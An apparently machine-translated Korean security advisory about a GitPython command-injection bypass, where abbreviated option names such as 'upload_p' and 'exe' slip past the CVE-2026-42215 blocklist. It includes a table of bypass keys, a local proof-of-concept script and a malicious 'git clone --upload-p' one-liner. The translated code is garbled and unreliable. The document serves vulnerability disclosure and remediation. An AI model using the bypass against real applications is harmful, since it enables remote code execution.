GitPython: CVE-2026-42215 차단 목록의 git long-option 접두사 약어 우회를 통한 명령 주입
check_unsafe_options를 우회하는 긴 옵션 접두사 약어를 통한 명령 주입(CVE-2026-42215 / GHSA-rpm5-65cw-6hj4의 불완전한 수정)구성요소: gitpython-developers/GitPython(PyPI: GitPython)
영향을 받음: 현재 main을 통해 3.1.47 차단 목록 수정 사항이 포함된 모든 버전(커밋 20c5e275, 3.1.50-42에서 확인됨)
CWE: CWE-184(허용되지 않는 입력의 불완전한 목록) → CWE-78(OS 명령 주입)
심각도: 상위 CVE-2026-42215 표면을 상속합니다. 예상 높음, ~8.8(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — 최종 점수는 상위 항목을 반영하여 관리자/CNA로 연기됩니다.
기자: 해킴
CVE-2026-42215에 대한 3.1.47 수정 사항은 위험한 git 옵션(클론의 경우 --upload-pack, --config, -c, -u, 가져오기/풀의 경우 --upload-pack, 푸시의 경우 --receive-pack, --exec)을 차단하므로 호출자는 allow_unsafe_options=True를 전달하지 않으면 명령 실행 옵션에 접근할 수 없습니다.
수정 사항은 한 축(대시파이를 통한 밑줄→하이픈)을 따라 옵션 이름을 표준화하고 정확히 일치 사전과 비교하여 확인합니다. git의 명확한 긴 옵션 접두사 약어는 설명하지 않습니다. Git은 긴 옵션의 명확한 접두사(--upload-p, --upload-pa, --upload-pac 모두 --upload-pack으로 해석됨)를 허용합니다. 따라서 upload_p와 같은 kwarg 키는 upload-p로 정규화되고, 차단 목록 dict를 놓치고, --upload-p=<value>로 git에 내보내지고 → --upload-pack=<value>로 실행됨 → 기본 allow_unsafe_options=False 구성에서 명령 주입입니다.
``파이썬
@classmethod def canonicalize_option_name(cls, 옵션): option_name = option.lstrip("-").split("=", 1)[0] option_tokens = option_name.split(없음, 1) option_tokens가 아닌 경우: ""를 반환 return dashify(option_tokens[0]) # 변환만: "" -> "-"
@classmethod def check_unsafe_options(cls, 옵션, unsafe_options): canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options} 옵션의 옵션: unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(옵션)) unsafe_option이 None이 아닌 경우: UnsafeOptionError(...)를 발생시킵니다.
가드는 `_`→`-`만 정규화하고 정확한 dict 멤버십을 수행합니다. Git의 CLI 파서는 가드 모델보다 더 광범위한 문법(접두사 약어)을 허용하므로 축약된 키가 빠져나가 차단된 옵션으로 git에 도달합니다.
### 영향을 받는 코드(`20c5e275` 커밋)
| 위치 | 역할 |
|---|---|
| `git/cmd.py:948-960` `_canonicalize_option_name` | canonicalizer — 접두사 확장 없음 |
| `git/cmd.py:963-974` `check_unsafe_options` | 정확히 일치하는 사전 조회(불완전한 가드) |
| `git/cmd.py:1511` `transform_kwarg` | `--<dashify(name)>=<value>`를 CLI로 내보냅니다 |
| `git/repo/base.py:1411,1413` | 클론 호출 사이트 |
| `git/remote.py:1074,1128,1201` | 호출 사이트 가져오기/풀/푸시 |
### 바이패스 키(검증됨)
| 크와그 키 | git은 | 경로 | 무기화 가능 |
|---|---|---|---|
| `upload_p`, `upload_pac` | `--업로드 팩` | 복제/가져오기/끌어오기 | 예 — 직접 RCE |
| `receive_p` | `--수신-팩` | 푸시 | 예 — 직접 RCE |
| `exe` | `--exec` | 푸시 | 예 — 직접 RCE |
| `conf`, `confi` | `--config` | 클론 | 옵션 차단 목록을 우회합니다. RCE에는 추가 구성 벡터가 필요합니다(참고 참조) |
### 최소 PoC
자체 포함되어 있으며 네트워크 송신이 없습니다(로컬 베어 저장소가 "원격" 역할을 함). 현재 `main`(git 2.50.1)에서 테스트되었습니다.
``파이썬
운영 체제, 통계, 임시 파일 가져오기
git import Repo에서
작업 = tempfile.mkdtemp()
마커 = os.path.join(work, "RCE_MARKER")
# 임의의 명령 실행을 증명하는 가짜 "upload-pack" 프로그램
prog = os.path.join(work, "evil.sh")
open(prog, "w")를 f로 사용:
f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n") # 종료 1이므로 코드가 실행된 후 git이 중단됩니다.
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)
베어 = os.path.join(work, "remote.git")
Repo.init(베어, 베어=True)
# 공격자가 제어하는 kwarg KEY 'upload_p' -> --upload-p=<prog> -> git 실행 <prog>
시도해 보세요:
Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
예외:
pass # 페이로드가 실행된 후 GitCommandError로 인해 git이 중단됩니다.
print("RCE 마커가 생성되었습니다:", os.path.exists(marker)) # True -> 명령 주입이 확인되었습니다.
쉘에서 동일: git clone --upload-p=/tmp/evil.sh src out은 evil.sh를 실행합니다.
확인된 동작:
upload_pack(정확히) → 차단됨; upload_p(약어) → 가드를 통과하고 git에 도달하고 실행됩니다. 수정 사항은 모델링된 양식에는 적용되지만 축약된 양식에는 적용되지 않습니다.allow_unsafe_options=True 선택 해제는 문서화된 대로 작동합니다(범위 밖).상위 CVE와 마찬가지로 악용하려면 공격자가 제어하는 kwarg 키를 GitPython 클론/가져오기/풀/푸시로 전달하는 호스트 애플리케이션이 필요합니다. 호스트가 고정/검증된 키만 전달하는 경우 이에 도달할 수 없습니다. 취약점은 문서화된 라이브러리의 심층 방어 제어(allow_unsafe_options=False)에 있으며 이 변종은 이를 무력화합니다.
--config 계열에서 conf는 옵션 차단 목록을 우회하지만 ext:: URL을 통해 --config protocol.ext.allow=always를 무기화하는 것은 GitPython의 프로토콜 허용 목록(allow_unsafe_protocols=False)에 의해 독립적으로 차단됩니다. 직접적으로 무기화할 수 있는 계열은 'upload-pack' / 'receive-pack' / 'exec'입니다. 투명하게 보고되었으며 심각하다고 주장하지 않습니다.
--end-of-options를 전달하거나 긴 옵션 약어를 비활성화하는 방식으로 git을 호출합니다.ext:: 경로가 현재 프로토콜 허용 목록에 의해 관리되더라도 해결에서는 -c/--config 계열 약어도 다루어야 합니다.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 88.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 88.00 |
VPI 공식 vpi-v1 기준